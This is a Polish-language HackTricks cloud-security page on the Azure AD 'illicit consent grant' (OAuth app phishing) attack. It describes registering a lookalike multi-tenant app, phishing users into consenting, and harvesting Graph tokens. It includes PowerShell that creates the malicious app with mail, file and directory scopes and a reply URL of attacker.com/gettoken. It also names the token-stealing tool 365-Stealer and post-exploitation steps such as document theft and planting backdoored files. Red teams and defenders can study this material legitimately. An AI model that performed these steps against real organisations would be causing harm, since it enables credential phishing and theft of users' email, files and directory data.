Az - Illicit Consent Grant

Naucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Naucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wspieraj HackTricks

• Sprawdź plany subskrypcji!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

OAuth App Phishing

Azure Applications proszą o uprawnienia do dostępu do danych użytkownika (podstawowe informacje, ale także dostęp do dokumentów, wysyłanie e-maili...). Jeśli dozwolone, zwykły użytkownik może wyrazić zgodę tylko na "Low Impact permissions". W wszystkich innych przypadkach, wymagana jest zgoda administratora. GA, ApplicationAdministrator, CloudApplication Administrator i niestandardowa rola zawierająca permission to grant permissions to applications mogą udzielić zgody na poziomie dzierżawy.

Tylko uprawnienia, które nie wymagają zgody administratora, są klasyfikowane jako low impact. Są to uprawnienia wymagane do podstawowego logowania: openid, profile, email, User.Read i offline_access. Jeśli organizacja zezwala na zgodę użytkownika dla wszystkich aplikacji, pracownik może wyrazić zgodę na aplikację, aby odczytać powyższe informacje z ich profilu.

Dlatego atakujący mógłby przygotować złośliwą aplikację i za pomocą phishingu sprawić, że użytkownik zaakceptuje aplikację i ukradnie jego dane.

2 Typy Ataków Illicit Consent Grant

• Niezautoryzowany: Z zewnętrznego konta utwórz aplikację z uprawnieniami User.Read i User.ReadBasic.All na przykład, phish użytkownika, i będziesz mógł uzyskać dostęp do informacji katalogowych.

• To wymaga, aby phished użytkownik mógł akceptować aplikacje OAuth z zewnętrznych środowisk!

• Zautoryzowany: Mając skompromitowany podmiot z wystarczającymi uprawnieniami, utwórz aplikację wewnątrz konta i phish niektórych uprzywilejowanych użytkowników, którzy mogą akceptować uprzywilejowane uprawnienia OAuth.

• W tym przypadku możesz już uzyskać dostęp do informacji katalogowych, więc uprawnienie User.ReadBasic.All nie jest już interesujące.

• Prawdopodobnie jesteś zainteresowany uprawnieniami, które wymagają zgody administratora, ponieważ zwykły użytkownik nie może przyznać aplikacjom OAuth żadnych uprawnień, dlatego musisz phishować tylko tych użytkowników (więcej na temat, które role/uprawnienia przyznają to uprawnienie później)

Sprawdź, czy użytkownicy mogą wyrazić zgodę

Następujące polecenie PowerShell jest używane do sprawdzenia konfiguracji zgody dla użytkowników w Azure Active Directory (Azure AD) w odniesieniu do ich zdolności do wyrażania zgody na aplikacje:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

• Disable user consent: To ustawienie zabrania użytkownikom udzielania uprawnień aplikacjom. Żadna zgoda użytkownika na aplikacje nie jest dozwolona.

• Users can consent to apps from verified publishers or your organization, but only for permissions you select: To ustawienie pozwala wszystkim użytkownikom na udzielanie zgody tylko na aplikacje opublikowane przez zweryfikowanego wydawcę oraz aplikacje zarejestrowane w Twoim tenant. Dodaje warstwę kontroli, pozwalając na zgodę tylko na określone uprawnienia.

• Users can consent to all apps: To ustawienie jest bardziej liberalne i pozwala wszystkim użytkownikom na udzielanie zgody na dowolne uprawnienia dla aplikacji, o ile te uprawnienia nie wymagają zgody administracyjnej.

• Custom app consent policy: To ustawienie wskazuje, że obowiązuje niestandardowa polityka, która może być dostosowana do specyficznych wymagań organizacyjnych i może obejmować kombinację ograniczeń opartych na wydawcy aplikacji, uprawnieniach żądanych przez aplikację i innych czynnikach.

Understanding Illicit Consent Grant Attack

W ataku typu illicit consent grant, atakujący oszukują użytkowników końcowych, aby udzielili uprawnień złośliwej aplikacji zarejestrowanej w Azure. Odbywa się to poprzez sprawienie, że aplikacja wygląda na legalną, co prowadzi ofiary do nieświadomego kliknięcia przycisku "Akceptuj". W rezultacie Azure AD wydaje token do strony atakującego, umożliwiając im dostęp i manipulowanie danymi ofiary, takimi jak czytanie lub wysyłanie e-maili oraz dostęp do plików, bez potrzeby posiadania konta organizacyjnego.

Attack Flow Overview

Atak obejmuje kilka kroków, które są skierowane na ogólną firmę. Oto jak może się to rozwinąć:

1. Domain Registration and Application Hosting: Atakujący rejestruje domenę przypominającą zaufaną stronę, na przykład "safedomainlogin.com". Pod tą domeną tworzy subdomenę (np. "companyname.safedomainlogin.com") do hostowania aplikacji zaprojektowanej do przechwytywania kodów autoryzacyjnych i żądania tokenów dostępu.

2. Application Registration in Azure AD: Następnie atakujący rejestruje aplikację Multi-Tenant w swoim tenant Azure AD, nazywając ją po nazwie docelowej firmy, aby wyglądała na legalną. Konfiguruje URL przekierowania aplikacji, aby wskazywał na subdomenę hostującą złośliwą aplikację.

3. Setting Up Permissions: Atakujący konfiguruje aplikację z różnymi uprawnieniami API (np. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Te uprawnienia, po udzieleniu przez użytkownika, pozwalają atakującemu na wyciąganie wrażliwych informacji w imieniu użytkownika.

4. Distributing Malicious Links: Atakujący tworzy link zawierający client id złośliwej aplikacji i udostępnia go docelowym użytkownikom, oszukując ich, aby udzielili zgody.

Utilizing Tools for the Attack

Atak może być ułatwiony przy użyciu narzędzi takich jak 365-Stealer.

Pre-Attack Preparation:

Jeśli atakujący ma pewien poziom dostępu do użytkownika w organizacji ofiary, może sprawdzić, czy polityka organizacji pozwala użytkownikowi na akceptację aplikacji:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[e-mail]", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Aby przeprowadzić atak, atakujący musiałby utworzyć nową aplikację w swoim Azure Tenant (w rejestracjach aplikacji), skonfigurowaną z uprawnieniami:

User.ReadBasic.All znajduje się w Microsoft Graph w Delegated permissions. (Uprawnienia aplikacji zawsze będą wymagały dodatkowej zgody).

• User.ReadBasic.All to uprawnienie, które pozwoli ci czytać informacje o wszystkich użytkownikach w organizacji, jeśli zostanie przyznane.

• Pamiętaj, że tylko GA, ApplicationAdministrator, CloudApplication Administrator i niestandardowa rola zawierająca uprawnienie do przyznawania uprawnień aplikacjom mogą udzielić zgody na poziomie tenant. Więc powinieneś phishować użytkownika z jedną z tych ról, jeśli chcesz, aby zatwierdził aplikację wymagającą zgody administratora.

Możesz również utworzyć aplikację za pomocą cli z:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Sprawdź https://www.alteredsecurity.com/post/introduction-to-365-stealer, aby dowiedzieć się, jak to skonfigurować.

Zauważ, że uzyskany access token będzie dla graph endpoint z zakresami: User.Read i User.ReadBasic.All (żądane uprawnienia). Nie będziesz mógł wykonywać innych działań (ale te wystarczą, aby pobrać informacje o wszystkich użytkownikach w organizacji).

O365-Attack-Toolkit

Możesz również użyć tego narzędzia do przeprowadzenia tego ataku.

Post-Exploitation

Po uzyskaniu dostępu do użytkownika możesz robić takie rzeczy, jak kradzież poufnych dokumentów, a nawet przesyłanie plików dokumentów z backdoorem.

References

• https://www.alteredsecurity.com/post/introduction-to-365-stealer

• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wspieraj HackTricks

• Sprawdź plany subskrypcji!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.